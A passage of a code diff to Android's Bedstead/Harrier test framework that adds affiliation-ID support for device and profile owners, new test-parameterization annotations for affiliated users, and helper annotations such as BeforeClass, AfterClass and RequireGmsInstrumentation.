+                    if (u.equals(instrumentedUser)) {
+                        continue;
+                    }
+                    try {
+                        removeAndRecordUser(u);
+                    } catch (NeneException e) {
+                        failOrSkip(
+                                "Error removing user to prepare for DeviceOwner: " + e.toString(),
+                                failureMode);
+                    }
                 }
             }
+
+            // TODO(scottjonathan): Remove accounts
+            ensureHasNoProfileOwner(userReference);
+
+            if (!mHasChangedDeviceOwner) {
+                mOriginalDeviceOwner = currentDeviceOwner;
+                mHasChangedDeviceOwner = true;
+            }
+
+            mDeviceOwner = RemoteDpc.setAsDeviceOwner(userReference)
+                    .devicePolicyController();
         }
 
-
-        // TODO(scottjonathan): Remove accounts
-        ensureHasNoProfileOwner(onUser);
-
-        if (!mHasChangedDeviceOwner) {
-            mOriginalDeviceOwner = currentDeviceOwner;
-            mHasChangedDeviceOwner = true;
-        }
-
-        mDeviceOwner = RemoteDpc.setAsDeviceOwner(resolveUserTypeToUser(onUser))
-                .devicePolicyController();
-
         if (isPrimary) {
             mPrimaryDpc = mDeviceOwner;
         }
+        
+        RemoteDpc.forDevicePolicyController(mDeviceOwner).devicePolicyManager()
+                .setAffiliationIds(affiliationIds);
     }
 
-    private void ensureHasProfileOwner(UserType onUser, boolean isPrimary) {
+    private void ensureHasProfileOwner(UserType onUser, boolean isPrimary, Set<String> affiliationIds) {
         // TODO(scottjonathan): Should support non-remotedpc profile owner (default to remotedpc)
         UserReference user = resolveUserTypeToUser(onUser);
-        ensureHasProfileOwner(user, isPrimary);
+        ensureHasProfileOwner(user, isPrimary, affiliationIds);
     }
 
-    private void ensureHasProfileOwner(UserReference user, boolean isPrimary) {
-        if (isPrimary && mPrimaryDpc != null) {
+    private void ensureHasProfileOwner(
+            UserReference user, boolean isPrimary, Set<String> affiliationIds) {
+        if (isPrimary && mPrimaryDpc != null && !user.equals(mPrimaryDpc.user())) {
             throw new IllegalStateException("Only one DPC can be marked as primary per test");
         }
 
+        if (!user.equals(sTestApis.users().instrumented())) {
+            // INTERACT_ACROSS_USERS_FULL is required for RemoteDPC
+            ensureCanGetPermission(INTERACT_ACROSS_USERS_FULL);
+        }
+
         ProfileOwner currentProfileOwner = sTestApis.devicePolicy().getProfileOwner(user);
         DeviceOwner currentDeviceOwner = sTestApis.devicePolicy().getDeviceOwner();
 
@@ -1117,7 +1329,8 @@
         }
 
         if (currentProfileOwner != null
-                && currentProfileOwner.componentName().equals(RemoteDpc.DPC_COMPONENT_NAME)) {
+                && currentProfileOwner.componentName().equals(
+                RemoteDpc.DPC_COMPONENT_NAME)) {
             mProfileOwners.put(user, currentProfileOwner);
         } else {
             if (!mChangedProfileOwners.containsKey(user)) {
@@ -1130,6 +1343,12 @@
         if (isPrimary) {
             mPrimaryDpc = mProfileOwners.get(user);
         }
+
+        if (affiliationIds != null) {
+            RemoteDpc profileOwner = profileOwner(user);
+            profileOwner.devicePolicyManager()
+                    .setAffiliationIds(affiliationIds);
+        }
     }
 
     private void ensureHasNoDeviceOwner() {
@@ -1150,6 +1369,12 @@
 
     private void ensureHasNoProfileOwner(UserType onUser) {
         UserReference user = resolveUserTypeToUser(onUser);
+
+        ensureHasNoProfileOwner(user);
+    }
+
+    private void ensureHasNoProfileOwner(UserReference user) {
+
         ProfileOwner currentProfileOwner = sTestApis.devicePolicy().getProfileOwner(user);
 
         if (currentProfileOwner == null) {
@@ -1322,6 +1547,7 @@
             DevicePolicyController profileOwner =
                     mProfileOwners.get(sTestApis.users().instrumented());
 
+
             if (profileOwner.componentName().equals(REMOTE_DPC_COMPONENT_NAME)) {
                 return RemoteDpc.forDevicePolicyController(profileOwner);
             }
@@ -1336,4 +1562,18 @@
 
         throw new IllegalStateException("No Harrier-managed profile owner or device owner.");
     }
+
+    private void ensureCanGetPermission(String permission) {
+        // TODO(scottjonathan): Apply gms permission switches automatically rather than hard-coding
+        // TODO(scottjonathan): Add a config to only enforce gms permission when needed
+        if (permission.equals(NOTIFY_PENDING_SYSTEM_UPDATE)) {
+            requireGmsInstrumentation(1, Build.VERSION_CODES.R);
+        }
+        // TODO(scottjonathan): Apply version-specific constraints automatically
+        if (permission.equals(INTERACT_ACROSS_USERS_FULL)) {
+            requireSdkVersion(
+                    Build.VERSION_CODES.Q, Integer.MAX_VALUE, FailureMode.SKIP,
+                    "This test requires INTERACT_ACROSS_USERS_FULL which can only be used on Q+");
+        }
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
index 2440198..6afc119 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/Policy.java
@@ -18,11 +18,14 @@
 
 import com.android.bedstead.harrier.annotations.enterprise.EnterprisePolicy;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeNone;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedDeviceOwnerSecondaryUser;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnAffiliatedProfileOwnerSecondaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnDeviceOwnerUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfCorporateOwnedProfileOwner;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnParentOfProfileOwner;
-import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwner;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerPrimaryUser;
+import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnProfileOwnerProfile;
 import com.android.bedstead.harrier.annotations.parameterized.IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner;
 
 import java.lang.annotation.Annotation;
@@ -34,11 +37,14 @@
  */
 @IncludeNone
 @IncludeRunOnDeviceOwnerUser
+@IncludeRunOnAffiliatedDeviceOwnerSecondaryUser
+@IncludeRunOnAffiliatedProfileOwnerSecondaryUser
 @IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
-@IncludeRunOnProfileOwner
+@IncludeRunOnProfileOwnerProfile
 @IncludeRunOnParentOfCorporateOwnedProfileOwner
 @IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner
 @IncludeRunOnParentOfProfileOwner
+@IncludeRunOnProfileOwnerPrimaryUser
 public final class Policy {
 
     private Policy() {
@@ -52,9 +58,15 @@
     private static final IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser
             INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER =
             Policy.class.getAnnotation(IncludeRunOnNonAffiliatedDeviceOwnerSecondaryUser.class);
-    private static final IncludeRunOnProfileOwner
-            INCLUDE_RUN_ON_PROFILE_OWNER =
-            Policy.class.getAnnotation(IncludeRunOnProfileOwner.class);
+    private static final IncludeRunOnAffiliatedDeviceOwnerSecondaryUser
+            INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER =
+            Policy.class.getAnnotation(IncludeRunOnAffiliatedDeviceOwnerSecondaryUser.class);
+    private static final IncludeRunOnAffiliatedProfileOwnerSecondaryUser
+            INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER =
+            Policy.class.getAnnotation(IncludeRunOnAffiliatedProfileOwnerSecondaryUser.class);
+    private static final IncludeRunOnProfileOwnerProfile
+            INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE =
+            Policy.class.getAnnotation(IncludeRunOnProfileOwnerProfile.class);
     private static final IncludeRunOnSecondaryUserInDifferentProfileGroupToProfileOwner
             INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER =
             Policy.class.getAnnotation(
@@ -64,6 +76,8 @@
     private static final IncludeRunOnParentOfCorporateOwnedProfileOwner
             INCLUDE_RUN_ON_PARENT_OF_CORPORATE_OWNED_PROFILE_OWNER =
             Policy.class.getAnnotation(IncludeRunOnParentOfCorporateOwnedProfileOwner.class);
+    private static final IncludeRunOnProfileOwnerPrimaryUser INCLUDE_RUN_ON_PROFILE_OWNER_PRIMARY_USER =
+            Policy.class.getAnnotation(IncludeRunOnProfileOwnerPrimaryUser.class);
 
     /**
      * Get positive state annotations for the given policy.
@@ -80,6 +94,10 @@
                 annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
                 annotations.add(INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
                 break;
+            case AFFILIATED:
+                annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
+                annotations.add(INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
+                break;
             case USER:
                 annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
                 break;
@@ -91,17 +109,24 @@
         switch (enterprisePolicy.profileOwner()) {
             case NO:
                 break;
+            case AFFILIATED:
+                annotations.add(INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER);
+                break;
+            case AFFILIATED_OR_NO_DO:
+                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PRIMARY_USER);
+                annotations.add(INCLUDE_RUN_ON_AFFILIATED_PROFILE_OWNER_SECONDARY_USER);
+                break;
             case PARENT:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER);
+                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
                 annotations.add(INCLUDE_RUN_ON_PARENT_OF_PROFILE_OWNER);
                 break;
             case COPE_PARENT:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER);
+                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
                 //                TODO(scottjonathan): Re-add when we can setup this state
 //                annotations.add(INCLUDE_RUN_ON_PARENT_OF_CORPORATE_OWNED_PROFILE_OWNER);
                 break;
             case PROFILE:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER);
+                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
                 break;
             default:
                 throw new IllegalStateException(
@@ -129,9 +154,12 @@
                 break;
             case GLOBAL:
                 break;
-            case USER:
+            case AFFILIATED:
                 annotations.add(INCLUDE_RUN_ON_NON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
                 break;
+            case USER:
+                annotations.add(INCLUDE_RUN_ON_AFFILIATED_DEVICE_OWNER_SECONDARY_USER);
+                break;
             default:
                 throw new IllegalStateException(
                         "Unknown policy control: " + enterprisePolicy.deviceOwner());
@@ -140,6 +168,12 @@
         switch (enterprisePolicy.profileOwner()) {
             case NO:
                 break;
+            case AFFILIATED:
+                // TODO(scottjonathan): Define negative states
+                break;
+            case AFFILIATED_OR_NO_DO:
+                // TODO(scottjonathan): Define negative states
+                break;
             case PARENT:
                 annotations.add(
                         INCLUDE_RUN_ON_SECONDARY_USER_IN_DIFFERENT_PROFILE_GROUP_TO_PROFILE_OWNER);
@@ -178,32 +212,16 @@
 
         // TODO(scottjonathan): Always include a state without a dpc
 
-        switch (enterprisePolicy.deviceOwner()) {
-            case NO:
-                annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
-                break;
-            case GLOBAL:
-                break;
-            case USER:
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.deviceOwner());
+        if (enterprisePolicy.deviceOwner() == EnterprisePolicy.DeviceOwnerControl.NO) {
+            annotations.add(INCLUDE_RUN_ON_DEVICE_OWNER_USER);
         }
 
-        switch (enterprisePolicy.profileOwner()) {
-            case NO:
-                annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER);
-                break;
-            case PARENT:
-                break;
-            case COPE_PARENT:
-                break;
-            case PROFILE:
-                break;
-            default:
-                throw new IllegalStateException(
-                        "Unknown policy control: " + enterprisePolicy.profileOwner());
+        if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.NO) {
+            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
+        } else if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.AFFILIATED) {
+            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
+        } else if (enterprisePolicy.profileOwner() == EnterprisePolicy.ProfileOwnerControl.AFFILIATED_OR_NO_DO) {
+            annotations.add(INCLUDE_RUN_ON_PROFILE_OWNER_PROFILE);
         }
 
         if (annotations.isEmpty()) {
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AfterClass.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AfterClass.java
new file mode 100644
index 0000000..1241503
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/AfterClass.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Replacement for {@link org.junit.AfterClass} for use by classes which use {@link DeviceState}.
+ *
+ * <p>Methods annotated {@link AfterClass} must be public, static, must return {@code void}, and
+ * must take no arguments.
+ *
+ * <p>The annotated method will be called after all tests, once per class.
+ *
+ * <p>The state prior to calling this method is not guaranteed, as test methods may have changed the
+ * state. If any class-level annotation assumptions are violated this method will not be run.
+ *
+ * <p>If there are multiple methods annotated {@code @AfterClass} there is no guarantee as to the
+ * order they will be executed.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+public @interface AfterClass {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/BeforeClass.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/BeforeClass.java
new file mode 100644
index 0000000..5f76ba6
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/BeforeClass.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Replacement for {@link org.junit.BeforeClass} for use by classes which use {@link DeviceState}.
+ *
+ * <p>Methods annotated {@link BeforeClass} must be public, static, must return {@code void}, and
+ * must take no arguments.
+ *
+ * <p>The annotated method will be called before any tests, once per class. Class-level Bedstead
+ * annotations will be processed before running the method, and if any assumptions are violated the
+ * method will not be run.
+ *
+ * <p>If there are multiple methods annotated {@code @BeforeClass} there is no guarantee as to the
+ * order they will be executed.
+ */
+@Retention(RetentionPolicy.RUNTIME)
+@Target(ElementType.METHOD)
+public @interface BeforeClass {
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
similarity index 66%
copy from common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java
copy to common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
index 31b6da5..81b4ee0 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/parameterized/IncludeRunOnWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/CalledByHostDrivenTest.java
@@ -14,10 +14,11 @@
  * limitations under the License.
  */
 
-package com.android.bedstead.harrier.annotations.parameterized;
+package com.android.bedstead.harrier.annotations;
 
-import com.android.bedstead.harrier.annotations.RequireRunOnWorkProfile;
-import com.android.bedstead.harrier.annotations.meta.ParameterizedAnnotation;
+import com.android.bedstead.harrier.BedsteadJUnit4;
+
+import org.junit.Test;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -25,11 +26,11 @@
 import java.lang.annotation.Target;
 
 /**
- * Parameterize a test so that it runs on a work profile.
+ * Mark that a method is to be called by a host-driven test.
+ *
+ * <p>When used with {@link BedsteadJUnit4}, this acts as equivalent to {@link Test}.
  */
-@Target({ElementType.METHOD, ElementType.TYPE})
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-@ParameterizedAnnotation
-@RequireRunOnWorkProfile
-public @interface IncludeRunOnWorkProfile {
+public @interface CalledByHostDrivenTest {
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java
new file mode 100644
index 0000000..94864c3
--- /dev/null
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireGmsInstrumentation.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import com.android.bedstead.harrier.DeviceState;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+/**
+ * Mark that a test method should be run using GMS Instrumentation for certain versions.
+ *
+ * <p>This will apply {@link RequireSdkVersion} to ensure that on the given versions, this test
+ * only runs when the instrumented package is `com.google.android.gms`. It will also skip the test
+ * if it is run with gms instrumentation on a version which does not require it.
+ *
+ * <p>This allows for two test configurations to be set up, one which instruments GMS and one
+ * which does not - and both pointed at the same test sources.
+ *
+ * <p>Your test configuration may be configured so that this test is only run on a device with the
+ * given state. Otherwise, you can use {@link DeviceState} to ensure that the test is
+ * not run when the sdk version is not correct.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+public @interface RequireGmsInstrumentation {
+    int min() default 1;
+    int max() default Integer.MAX_VALUE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
index bf257a4..079805b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireRunOnWorkProfile.java
@@ -16,6 +16,8 @@
 
 package com.android.bedstead.harrier.annotations;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
 import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 
 import com.android.bedstead.harrier.DeviceState;
@@ -42,8 +44,9 @@
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
-@RequireRunOnProfileAnnotation("android.os.usertype.profile.MANAGED")
+@RequireRunOnProfileAnnotation(value = "android.os.usertype.profile.MANAGED", hasProfileOwner = true)
 @EnsureHasProfileOwner
+@RequireFeature(FEATURE_DEVICE_ADMIN)
 public @interface RequireRunOnWorkProfile {
     OptionalBoolean installInstrumentedAppInParent() default ANY;
 
@@ -52,6 +55,10 @@
      *
      * <p>Only one device policy controller per test should be marked as primary.
      */
-    // TODO(scottjonathan): Enforce dpcIsPrimary
     boolean dpcIsPrimary() default false;
+
+    /**
+     * Affiliation ids to be set for the profile owner.
+     */
+    String[] affiliationIds() default {};
 }
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
index 7e7fd39..4b277da 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/RequireSdkVersion.java
@@ -27,7 +27,7 @@
  * Mark that a test method should only run on specified sdk versions.
  *
  * <p>Your test configuration may be configured so that this test is only run on a device with the
- * given user. Otherwise, you can use {@link DeviceState} to ensure that the test is
+ * given version. Otherwise, you can use {@link DeviceState} to ensure that the test is
  * not run when the sdk version is not correct.
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
index f999e74..a44a593 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasDeviceOwner.java
@@ -16,10 +16,13 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
 import static com.android.bedstead.harrier.DeviceState.UserType.SYSTEM_USER;
 
 import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.annotations.FailureMode;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -39,6 +42,7 @@
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
+@RequireFeature(FEATURE_DEVICE_ADMIN)
 public @interface EnsureHasDeviceOwner {
     /** Which user type the device owner should be installed on. */
     DeviceState.UserType onUser() default SYSTEM_USER;
@@ -52,6 +56,9 @@
      * <p>Only one device policy controller per test should be marked as primary.
      */
     boolean isPrimary() default false;
+
+    /**
+     * Affiliation ids to be set for the device owner.
+     */
+    String[] affiliationIds() default {};
 }
-// TODO(scottjonathan): Is there a feature or something that we need to check to make sure DO is
-//  supported?
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
index 05821ad..bbe7328 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnsureHasProfileOwner.java
@@ -16,9 +16,12 @@
 
 package com.android.bedstead.harrier.annotations.enterprise;
 
+import static android.content.pm.PackageManager.FEATURE_DEVICE_ADMIN;
+
 import static com.android.bedstead.harrier.DeviceState.UserType.CURRENT_USER;
 
 import com.android.bedstead.harrier.DeviceState;
+import com.android.bedstead.harrier.annotations.RequireFeature;
 
 import java.lang.annotation.ElementType;
 import java.lang.annotation.Retention;
@@ -34,6 +37,7 @@
  */
 @Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
 @Retention(RetentionPolicy.RUNTIME)
+@RequireFeature(FEATURE_DEVICE_ADMIN)
 public @interface EnsureHasProfileOwner {
     /** Which user type the work profile should be attached to. */
     DeviceState.UserType onUser() default CURRENT_USER;
@@ -44,6 +48,9 @@
      * <p>Only one device policy controller per test should be marked as primary.
      */
     boolean isPrimary() default false;
-}
-// TODO(scottjonathan): Is there a feature or something that we need to check to make sure PO is
-//  supported?
+
+    /**
+     * Affiliation ids to be set for the profile owner.
+     */
+    String[] affiliationIds() default {};
+}
\ No newline at end of file
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
index 127020b..c92860b 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/enterprise/EnterprisePolicy.java
@@ -31,8 +31,16 @@
     enum DeviceOwnerControl {
         /** A policy that can be applied by a Device Owner to all users on the device. */
         GLOBAL,
+
+        /**
+         * A policy that can be applied by a Device Owner and applies to the device owner
+         * itself and to affiliated users on the device.
+         */
+        AFFILIATED,
+
         /** A policy that can be applied by a Device Owner to only the Device Owner's user. */
         USER,
+
         /** A policy that cannot be applied by a Device Owner. */
         NO
     }
@@ -40,13 +48,27 @@
     enum ProfileOwnerControl {
         /** A policy that can be applied by a Profile Owner to the profile itself and its parent. */
         PARENT,
+
         /**
          * A policy that can be applied by a Profile Owner to the profile itself, and to the
          * parent if it is a COPE profile.
          */
         COPE_PARENT,
+
         /** A policy that can be applied by a Profile Owner to the profile itself. */
         PROFILE,
+
+        /** A policy that can be applied by an affiliated Profile Owner, applying to itself. */
+        AFFILIATED,
+
+        /**
+         * A policy that can be applied by an affiliated Profile Owner or a Profile Owner with no
+         * Device Owner.
+         *
+         * <p>The policy will be applied to the user, and interaction with other users is undefined.
+         */
+        AFFILIATED_OR_NO_DO,
+
         /** A policy that cannot be applied by a Profile Owner. */
         NO
     }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
index 54aa2d5..cd51a09 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/EnsureHasProfile.java
@@ -33,4 +33,12 @@
 
     /** Whether the test app should be installed in the profile. */
     boolean installTestApp() default true;
+
+    /**
+     * Whether the profile owner's DPC should be returned by calls to {@link DeviceState#dpc()}.
+     *
+     * <p>Only one device policy controller per test should be marked as primary.
+     */
+    // NOTE: This field is only required if hasProfileOwner=true
+    boolean dpcIsPrimary() default false;
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
index bacd5b3..956015f 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfile.java
@@ -18,6 +18,7 @@
 
 import static com.android.bedstead.harrier.OptionalBoolean.ANY;
 
+import com.android.bedstead.harrier.DeviceState;
 import com.android.bedstead.harrier.OptionalBoolean;
 
 import java.lang.annotation.Target;
@@ -29,4 +30,18 @@
 @Target({})
 public @interface RequireRunOnProfile {
     OptionalBoolean installInstrumentedAppInParent() default ANY;
+
+    /**
+     * Whether the profile owner's DPC should be returned by calls to {@link DeviceState#dpc()}.
+     *
+     * <p>Only one device policy controller per test should be marked as primary.
+     */
+    // NOTE: This field is only required if hasProfileOwner=true
+    boolean dpcIsPrimary() default false;
+
+    /**
+     * Affiliation ids to be set for the profile owner.
+     */
+    // NOTE: This field is only required if hasProfileOwner=true
+    String[] affiliationIds() default {};
 }
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfileAnnotation.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfileAnnotation.java
index 5916dd4..ae8b627 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfileAnnotation.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/annotations/meta/RequireRunOnProfileAnnotation.java
@@ -32,4 +32,7 @@
 public @interface RequireRunOnProfileAnnotation {
